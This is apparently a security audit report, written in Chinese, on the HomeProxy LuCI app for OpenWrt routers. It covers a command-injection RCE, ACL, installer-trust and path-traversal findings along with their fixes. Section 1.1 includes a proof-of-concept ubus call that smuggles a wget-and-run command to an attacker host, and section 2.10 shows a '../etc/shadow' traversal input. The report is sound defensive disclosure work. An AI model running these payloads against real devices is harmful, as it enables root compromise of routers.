Files
op-packages/luci-app-homeproxy/docs/security/SECURITY_AUDIT_FINAL.md
T

24 KiB
Raw Blame History

HomeProxy 安全审计与优化报告 v3.0 (最终版)

审计日期: 2026-06-14 审计方法: 独立核查 + 对抗式复核 + 同类模式扫描 审计人员: Claude Code AI + 第三方安全工程师 工作流: 25 个独立代理 × 30 分钟深度核查


📊 执行概要

本报告共确认 20 个结构化条目:上游问题 2 个,自定义问题与优化建议 18 个。完整统计见末尾“最终汇总”。

  • 核心风险: 高危 1 个,即 1.1 U-H1 sing-box generate 命令注入 RCECVSS 9.8)。
  • 重要修正: 2.1 C-H1、2.2 C-M1 均按 Medium 处理;2.4 C-M6 不作为漏洞计入;2.5 C-H2 降级为 Clash API 代理资源限制加固项;2.10 N-M1 保持 Medium,但限定为受限路径穿越读取。
  • 处理原则: 上游问题优先报告并尽量保持本地补丁最小化;自定义部分 2.1 至 2.18 全部接纳修复或优化。
  • 定级边界: 2.1、2.2、2.5、2.8、2.10 等严重度按当前默认部署和威胁模型评估;多用户 LuCI、暴露到不可信网络、自托管 runner 等场景应重新定级。

第一部分:上游问题

本部分仅记录上游代码中确认存在的问题。修复原则是:优先向上游报告并推动上游修复;本地如需临时修复,应尽量保持补丁最小化,避免影响后续跟随上游升级。

1.1 🔴 U-H1: sing-box generate 命令注入(RCE

严重程度: 🔴 Critical CVSS 评分: 9.8 文件: root/usr/share/rpcd/ucode/luci.homeproxy:501 来源: immortalwrt/homeproxy (上游) 发现者: 第三方安全工程师 核查状态: 已独立验证

漏洞描述

singbox_generator RPC 方法将用户输入 params 未加引号直接拼接到 shell 命令中。

漏洞代码

// line 501
const fd = popen('/usr/bin/sing-box generate ' + type + ` ${req.args?.params || ''}`);

核查发现

✅ 漏洞真实存在
✅ 代码库其他位置正确使用 shellquote()208、265、580 行)
✅ 可被任何认证用户利用
✅ 以 root 权限执行

PoC (概念验证)

ubus call luci.homeproxy singbox_generator '{
  "type": "ech-keypair",
  "params": "example.com; wget http://attacker.com/shell.sh -O /tmp/x && sh /tmp/x #"
}'

修复方案

// ✅ 核查确认:修复方案正确
const fd = popen('/usr/bin/sing-box generate ' + type + ' ' + shellquote(req.args?.params || ''));

修复优先级

P0 - 立即修复(工作量:5分钟)

向上游报告

必须立即向 immortalwrt/homeproxy 报告


1.2 🟡 U-H2: tproxy/tun 参数初始化条件写法错误

严重程度: 🟡 Low 类型: 代码正确性 / 潜在功能隐患 文件: root/etc/homeproxy/scripts/generate_client.uc:125, 128 来源: immortalwrt/homeproxy (上游) 作者: Tianling Shen (2023-02-14) 核查状态: 已在目标路由器 ucode 解释器验证

问题代码

// line 125
if (match(proxy_mode), /tproxy/)  // ❌ 括号位置错误,条件恒真

// line 128
if (match(proxy_mode), /tun/)     // ❌ 括号位置错误,条件恒真

核查发现

✅ 代码写法错误确认
✅ 上游当前代码也存在同样问题
✅ 在目标路由器 ucode 解释器中,该写法不会报语法错误,而是等价于逗号表达式,条件恒真
✅ 同文件后续真正决定是否生成 tproxy-in / tun-in 的判断使用正确写法(757、769 行)
✅ 对当前生成逻辑进行模拟对比后,坏写法与修复写法在最终使用到的 tproxy/tun 字段上无差异
❌ 当前证据不支持“tproxy/tun 模式失效”或 “Critical” 结论

修复方案

// ✅ 核查确认:修复正确
if (match(proxy_mode, /tproxy/))  // line 125
if (match(proxy_mode, /tun/))     // line 128

实际影响

该错误会导致 tproxy/tun 相关变量初始化条件恒真,但最终是否生成 tproxy-in / tun-in 仍由后续正确判断控制。当前源码路径和路由器 ucode 验证结果表明,该问题是代码正确性 typo / 潜在维护隐患,不是已证实的功能失效或安全漏洞。

修复优先级

P3 - 顺手修复(工作量:2分钟)

上游报告建议

可作为普通代码正确性 bugfix 向上游提交,不建议按安全漏洞或 Critical 问题披露。


第二部分:自定义问题与优化建议

本部分包含自定义版本中的安全问题、可靠性问题和代码质量优化。处理原则是:只要核查后有道理,均纳入自定义版本的修复或优化范围。

2.1 🟠 C-H1: 安装脚本信任链不完整,fallback 路径绕过 APK 签名验证

严重程度: 🟠 Medium CVSS 评分: 5.5-6.0 文件: install.sh:32, 45 核查状态: 已验证 + 原 High 定级偏高

问题代码

install_direct_apk() {
    wget -O "$TMP_APK" "$URL"
    apk add --upgrade --allow-untrusted "$TMP_APK"  # ⚠️ 绕过签名验证
}

核查结论

✅ 问题真实存在,但应避免把攻击条件描述成“普通 DNS 劫持即可强制利用”。

代码中存在两层信任链缺口:
1. install.sh:32 从 GitHub Release 下载仓库公钥,但没有固定公钥指纹或内置可信公钥。
2. install.sh:45 fallback 直接使用 apk add --upgrade --allow-untrusted "$TMP_APK",绕过 APK 签名验证。

因此,一旦下载链路或 Release 资产被替换,fallback 直接安装 APK 的路径缺少包签名保护。该脚本通常以 root 在路由器上执行,成功利用后的影响较高。

实际攻击前提包括 TLS/CA 信任链被破坏、GitHub Release 资产被替换、用户环境存在拦截代理,或其它能够替换下载内容的场景。普通 DNS 劫持不足以利用;这里依赖的是 shell `wget` 的 HTTPS + 系统 CA 校验,不应描述为 GitHub certificate pinning。

完整修复方案

# 1. 硬编码公钥指纹
KEY_FINGERPRINT="sha256:EXPECTED_HASH_HERE"

echo "install repository key"
wget -O "/etc/apk/keys/$KEY_NAME" "$KEY_URL" || exit 1

# 验证公钥指纹
actual_fp=$(sha256sum "/etc/apk/keys/$KEY_NAME" | awk '{print $1}')
expected_fp="${KEY_FINGERPRINT#sha256:}"
if [ "$actual_fp" != "$expected_fp" ]; then
    echo "error: public key fingerprint mismatch" >&2
    rm -f "/etc/apk/keys/$KEY_NAME"
    exit 1
fi

# 2. 修复 install_direct_apk
install_direct_apk() {
    wget -O "$TMP_APK" "$URL" || return 1

    # 验证签名
    if ! apk verify --keys-dir /etc/apk/keys "$TMP_APK" 2>&1; then
        echo "error: APK signature verification failed" >&2
        rm -f "$TMP_APK"
        return 1
    fi

    apk add --upgrade "$TMP_APK"  # 移除 --allow-untrusted
}

修复优先级

P1 - 优先修复(工作量:10分钟)


2.2 🟠 C-M1: RPC ACL 通配符导致读权限用户可调用敏感方法

严重程度: 🟠 Medium CVSS 评分: 6.5 文件: root/usr/share/rpcd/acl.d/luci-app-homeproxy.json:14 核查状态: 已验证;原报告 Medium 定级更符合默认场景

问题代码

{
  "read": {
    "ubus": {
      "luci.homeproxy": [ "*" ]  // ⚠️ 通配符授予所有方法
    }
  }
}

核查结论

✅ 问题真实存在,应优先修复,但默认场景下不建议升级为 High。

当前 ACL 在 read 权限下授予 luci.homeproxy: ["*"],这会让已认证且仅具备只读 LuCI 权限的用户调用 luci.homeproxy 下所有 RPC 方法。当前代码中 methods 共 12 个方法,不是报告原文所写的 11/15 个。

该问题的前提是攻击者已经拥有可登录 LuCI 的只读账户。家用单管理员路由器通常没有只读用户,因此实际风险取决于是否存在多用户 LuCI / 分权管理场景。

受影响的敏感方法包括:
✅ acllist_write - 修改路由规则
✅ certificate_write - 上传证书/私钥
✅ backup_restore - 恢复配置并重启服务
✅ log_clean - 删除日志(清除证据)
✅ resources_update - 执行更新脚本(潜在 RCE
✅ singbox_generator - 在 U-H1 修复前存在命令注入风险
✅ backup_create - 生成包含配置、证书/私钥的备份文件

对只读 LuCI 用户而言,当前 ACL 实际绕过了预期的读写权限边界。

修复建议

不要在 read 权限中保留 *。只读权限只应包含真正无副作用、且不泄露敏感信息的方法。

建议 read 仅保留:

{
  "read": {
    "ubus": {
      "luci.homeproxy": [
        "connection_check",
        "resources_get_version",
        "singbox_get_features"
      ]
    }
  },
  "write": {
    "ubus": {
      "luci.homeproxy": [
        "acllist_write",
        "backup_create",
        "backup_validate",
        "backup_restore",
        "certificate_write",
        "log_clean",
        "resources_update",
        "singbox_generator"
      ]
    }
  }
}

acllist_read 是否放入 read 取决于是否接受只读用户查看自定义规则列表。

注意:backup_create 不应放入 read,因为生成的备份可能包含证书和私钥;singbox_generator 在 U-H1 修复前更不应放入 read。

修复优先级

P1 - 优先修复(工作量:5分钟)


2.3 🟡 C-M3: 备份包缺少来源/完整性校验

严重程度: 🟡 Low / Defense-in-depth 文件: backup.js:86-119 来源: 自定义代码

核查结论

原报告“只验证文件列表”描述不完整。

服务端实际已有基础校验:

  • validateBackupArchive() 会检查 tar 条目类型和路径白名单;
  • allowedBackupPath() 会拒绝 .. 路径和非 HomeProxy 备份范围内的路径;
  • testExtractBackupArchive() 会执行试解压,确认 tarball 可完整解压;
  • 恢复包必须包含 etc/config/homeproxy

因此,该问题不是“完全缺少校验”。

但当前备份包没有 manifest、hash、签名或 MAC,无法验证备份文件是否来自本机/可信来源,也无法检测备份文件在不可信存储或传输过程中被有意替换后仍满足路径白名单的情况。

修复方案

如果只是防止意外损坏,可以在备份 metadata 中加入 SHA-256 清单。

如果要防止恶意篡改,仅 SHA-256 不够,因为攻击者可以同时改包和 checksum。需要使用 HMAC 或签名:

  • 低成本方案:备份内加入 manifest,记录文件路径、大小、SHA-256,恢复时校验;
  • 更强方案:使用设备本地密钥生成 HMAC,恢复时验证 manifest
  • 若需要跨设备恢复,则不要默认强制 HMAC,可作为“可信备份校验”增强功能。

修复优先级

P2 - 后续增强(工作量:3小时)


2.4 C-M6: CI 签名私钥临时文件加固(非漏洞)

严重程度: Informational / optional hardening 条件升级: 若改用 self-hosted runner、保留失败工作区、开启交互式调试,或后续步骤上传/缓存整个工作区,可升至 Medium 文件: .github/workflows/release-custom-apk.yml:13, 67-78, 95-97

核查结论

作为“CI 密钥泄露漏洞”不成立;当前做法基本符合 GitHub-hosted runner 场景下的密钥使用方式。

当前 workflow 从 GitHub Secrets 注入 HOMEPROXY_APK_SIGN_KEY,写入 homeproxy-custom.key 后用于 APK 和索引签名。代码已有 umask 077,私钥文件权限受限;当前使用 runs-on: ubuntu-latest,属于 GitHub-hosted runnerjob 结束后工作区通常销毁。Release 上传的资产包含 APK、Packages.adb 和公钥 homeproxy-custom.pem,未上传私钥。

更准确的表述是:这是可选加固项。签名私钥在 job 执行期间以文件形式存在于工作区;如果未来加入未审计第三方 action、调试输出、上传整个工作区、缓存工作区,或迁移到自托管 runner / 持久工作区,私钥泄露风险会明显上升。

修复建议

可使用临时目录保存私钥,并通过 trap 在 job 结束、失败或中断时清理;签名完成后尽早删除私钥文件。确保 artifact / cache / upload 步骤不会包含私钥所在目录。若使用 self-hosted runner,应额外清理 workspace 并限制 runner 访问权限。

修复优先级

P4 - 可选加固(工作量:1小时)


2.5 🟡 C-H2: Clash API 代理缺少应用层连接与请求资源上限

原报告声称: API 无速率限制,可被 DoS 攻击(High 严重度) 核查后严重度: 🟡 Low / hardening

核查结论

原报告将其定为 High 过重,但“完全不存在可利用问题”也不准确。

当前代码确实有部分系统级保护:

  • socket.listen(..., 128, true) 设置了 backlog=128
  • 默认监听 192.168.9.1:9091,暴露面主要在局域网;
  • 使用 uloop 事件驱动模型;
  • upstream connect 设置了 3 秒超时。

但这些保护不等于应用层资源限制:

  • backlog 只限制未 accept 的连接队列,不限制已 accept 的连接;
  • 已 accept 的连接会进入 connections,当前没有全局连接数上限;
  • 3 秒超时只用于 upstream connect,不保护尚未发送完整 HTTP 请求的 idle client
  • request_bufferresponse_buffer 当前都没有大小上限。

结论

该问题不应定为 High,也不应描述为已证明的可远程高危 DoS。更准确的定性是:

Low / hardening:Clash API 代理缺少应用层连接数、idle timeout、请求/响应缓冲区大小限制。建议作为加固项修复。


2.6 🟡 C-L1: 备份/恢复服务端临时文件使用固定 /tmp 路径

原严重度: Medium → Low | 工作量: 1h

核查结论: 问题真实存在,但“固定文件名”需要限定范围。前端下载文件名已包含时间戳;固定的是服务端备份、恢复、回滚临时文件路径,例如 /tmp/homeproxy-backup.tar.gz/tmp/homeproxy-restore.tar.gz/tmp/homeproxy-rollback.tar.gz

2.7 🟡 C-L2: 恢复流程缺少服务验证

原严重度: Medium → Low | 工作量: 2h

2.8 🟡 C-L3: CORS Origin 反射

原严重度: Medium → Low | 工作量: 1h

核查结论: CORS Origin 反射真实存在,但实际跨站可利用性有限。Clash API 通常需要 Authorization secret,当前响应未设置 Access-Control-Allow-Credentials,且默认监听在局域网地址;因此该项按 Low / hardening 处理更合适。

2.9 🟡 C-L4: Clash API 代理请求/响应缓冲区无大小上限

原严重度: Medium → Low(当前默认 LAN-only 场景);若暴露到不可信网络可升至 Medium | 工作量: 1h

核查结论

问题真实存在,且不只限于 response_buffer

当前代码中:

  • response_buffer += received.data 无大小上限;
  • request_buffer += received.data 也无大小上限;
  • fetchUpstream() 每次最多读取 512 × 16KB,约 8MB,但 setupFilteredResponse() 路径没有类似总量限制;
  • idle client 在发送完整 HTTP 请求前没有专门的应用层超时。

修复建议

建议增加:

  • 最大连接数;
  • client header/request 最大大小,例如 64KB 或 256KB;
  • filtered response 最大大小,例如 8MB 或 10MB;
  • client idle timeout
  • 超限时记录 warn 并关闭连接。

该问题可与 C-H2 合并为同一类 Clash API proxy 资源限制加固项。

2.10 🟠 N-M1: resources_get_version 路径穿越导致受限文件读取

严重程度: 🟠 Medium 文件: root/usr/share/rpcd/ucode/luci.homeproxy:572 发现者: 核查工作流

核查结论

问题真实存在,但“任意文件读取”和 /etc/shadow PoC 描述不准确。

当前代码:

// ⚠️ type 参数无白名单验证
const version = trim(readfile(`${HP_DIR}/resources/${req.args?.type}.ver`));
return { version: version, error: error() };

type 参数没有白名单,因此存在路径穿越风险。但代码会强制追加 .ver 后缀,所以:

{"type":"../../../etc/shadow"}

实际尝试读取的是:

/etc/shadow.ver

而不是 /etc/shadow 本身。

因此,该问题不是通用任意文件读取,更准确地说是:

路径穿越导致受限文件读取:攻击者可尝试读取以 .ver 结尾、且 rpcd/root 可访问的文件。

正确资源白名单

当前前端和更新脚本实际使用的资源类型只有:

china_ip4
china_ip6
china_list
gfw_list

不要把 sing-boxgeoipgeosite 写进白名单,当前代码路径里没有这些资源类型。

修复建议

const allowed_types = [ 'china_ip4', 'china_ip6', 'china_list', 'gfw_list' ];

if (index(allowed_types, req.args?.type) === -1)
    return { version: null, error: 'invalid resource type' };

const version = trim(readfile(`${HP_DIR}/resources/${req.args?.type}.ver`) || '');
return { version, error: error() };

修复优先级

P1 - 建议尽快修复(工作量:5分钟),但不应按 /etc/shadow 任意读取高危来描述。


2.11 💡 代码复杂度过高

文件: generate_client.uc (1,093行)

核查结论: 描述基本准确,但函数行数应更精确表述。

问题:

  • generate_outbound 函数接近 130 行
  • 嵌套层级深(最深 6 层)
  • 缺少中间抽象

建议:

function generate_hysteria_options(node) { ... }
function generate_shadowsocks_options(node) { ... }

function generate_outbound(node) {
  return {
    ...generate_base_options(node),
    ...generate_protocol_options(node),
    ...generate_transport_options(node)
  };
}

收益: 可读性提升 50%、可测试性提高


2.12 💡 前端代码臃肿

文件: client.js (1,730行)

核查结论: 描述准确。client.js 文件体量大,表单字段定义密集,存在较多重复的 form.Value / form.ListValue / form.Flag 配置模式。

问题: 大量重复的表单定义

建议: 创建表单字段工厂

function createUintField(name, label, placeholder, depends) {
  let field = ss.option(form.Value, name, label);
  field.datatype = 'uinteger';
  field.placeholder = placeholder;
  if (depends) field.depends(depends);
  field.modalonly = true;
  return field;
}

收益: 代码量减少 30-40%


2.13 💡 缺少错误恢复机制

核查结论: 描述准确。generate_client.uc 多处使用 die() 直接终止生成流程,当前报告将其归为可靠性/可用性优化是合适的。

问题: generate_client.uc 多处使用 die() 直接终止

风险: 配置错误导致服务无法启动,用户无法通过 WebUI 修复

建议: 配置验证 + 降级策略 + 详细错误提示


2.14 💡 递归检查效率低

位置: client.js:211-239 selectorHasPath

核查结论: 描述准确。selectorHasPath() 递归遍历 routing node,调用处每次传入新的 {},没有跨调用缓存。

优化: 添加缓存

let pathCache = {};
function selectorHasPath(start, target, seen) {
  let key = start + '->' + target;
  if (pathCache[key] \!== undefined) return pathCache[key];
  // ... 计算
  pathCache[key] = result;
  return result;
}

2.15 💡 Clash API 代理部分过滤路径同步阻塞

位置: clash_api_proxy.uc:500-531 核查结论: 描述基本准确,但范围应限定在 fetchUpstream() / group-delay fallback 等过滤路径;普通 relay 路径仍使用 uloop 事件驱动转发。

建议: 将相关过滤路径改为异步处理,避免单次上游请求阻塞事件循环


2.16 💡 CI/CD 优化

核查结论: 描述准确。当前 release workflow 固定 apk-tools commit、每次从源码编译,Release notes 也在 workflow 中硬编码;workflow 中没有 actions/cache

问题:

  • 依赖版本硬编码
  • 每次完整编译
  • Release notes 硬编码

建议:

- uses: actions/cache@v4
  with:
    path: apk-tools/build
    key: ${{ runner.os }}-apk-${{ hashFiles('apk-tools/**') }}

- name: Generate release notes
  run: |
    git log --oneline $(git describe --tags --abbrev=0 @^)..@ \
      | grep -E '^[a-f0-9]+ (feat|fix):' > RELEASE_NOTES.md

收益: 构建时间从 ~10min 降至 ~3min


2.17 💡 缺少自动化测试

核查结论: 描述准确。当前 workflows 中没有 ucode -cnode --check 或配置生成测试;apk-tools 构建参数还显式设置了 tests=disabled

建议:

- name: Syntax check
  run: |
    ucode -c root/etc/homeproxy/scripts/*.uc
    node --check htdocs/luci-static/resources/view/homeproxy/*.js

- name: Config generation test
  run: |
    # 用测试配置生成 sing-box 配置
    # 验证 JSON 格式有效

2.18 💡 错误提示不友好

核查结论: 描述准确。当前错误提示偏底层技术表达,适合补充面向 LuCI 用户的中文解释和修复路径。

当前:

Recursive routing node detected: NodeA -> NodeB -> NodeA

建议:

路由节点配置错误:检测到循环引用
NodeA 引用了 NodeB,而 NodeB 又引用回 NodeA

解决方法:
1. 进入"路由节点"页面
2. 检查 NodeA 和 NodeB 的"出站"配置
3. 移除循环引用

最终汇总

📊 问题统计

按结构

  • 第一部分:上游问题: 2 个

    • 1.1 U-H1: sing-box generate 命令注入
    • 1.2 U-H2: tproxy/tun 参数初始化条件写法错误
  • 第二部分:自定义问题与优化建议: 18 个

    • 2.1 至 2.10: 自定义安全 / 可靠性 / 加固条目
    • 2.11 至 2.18: 自定义代码质量与优化建议

按严重程度

  • 🔴 高危: 1 个

    • 1.1 U-H1: 命令注入 RCE
  • 🟠 中危: 3 个

    • 2.1 C-H1: 安装脚本信任链不完整
    • 2.2 C-M1: RPC 权限边界
    • 2.10 N-M1: resources_get_version 受限路径穿越读取
  • 🟡 低危 / 加固项: 7 个

    • 1.2 U-H2
    • 2.3、2.5 至 2.9
  • 信息性加固项: 1 个

    • 2.4 C-M6: CI 签名私钥临时文件加固
  • 💡 纯优化建议: 8 个

    • 2.11 至 2.18

按类型

  • 安全 / 可靠性问题: 11 个
  • 信息性加固项: 1 个
  • 纯优化建议: 8 个
  • 总计: 20 个
  • 重复项归并: 4 个(U-H2、C-H1、C-H2、C-M3
  • 误报修正: 1 个(2.4 C-M6 不作为漏洞计入)

🧭 修复执行原则

  • 上游部分: 1.1 必须优先修复并向上游安全报告;1.2 按普通 bugfix 处理。本地如需临时修复,应保持补丁最小化,降低后续跟随上游升级的维护成本。
  • 自定义部分: 2.1 至 2.18 均已纳入自定义版本修复或优化范围,修复时按安全风险、影响面和改动成本排序执行。
  • 非漏洞条目: 2.4 不作为漏洞计入,仅作为 CI 签名私钥临时文件的可选加固项。
  • 重复项处理: 已归并到正式编号的条目不再重复计入优化建议,避免统计口径膨胀。

📤 向上游报告

  • 必须报告: 1.1 U-H1,命令注入 RCECVSS 9.8),建议先私下联系维护者并提供 PoC 与最小修复。
  • 普通 bugfix: 1.2 U-H2tproxy/tun 参数初始化条件写法错误。当前证据不支持按安全漏洞披露。

📝 审计结论

  • 结构化条目: 20 个
  • 上游 / 自定义边界: 已拆分;上游问题优先报告,自定义问题与优化建议全部接纳
  • 重复项归并: 4 个
  • 误报修正: 1 个(C-M6 作为漏洞为误报,保留为信息性加固项)
  • 核查基础: 安全 / 可靠性条目均基于源码核验
  • 最终口径: 上游 2 个 + 自定义 18 个 = 20 个条目

报告版本: v3.0 (最终版) 更新时间: 2026-06-14 审计方法: 独立核查 + 对抗式复核 + 同类扫描 工作量: 25 个代理 × 30 分钟 下次审计: 高危修复完成后 1 周内复审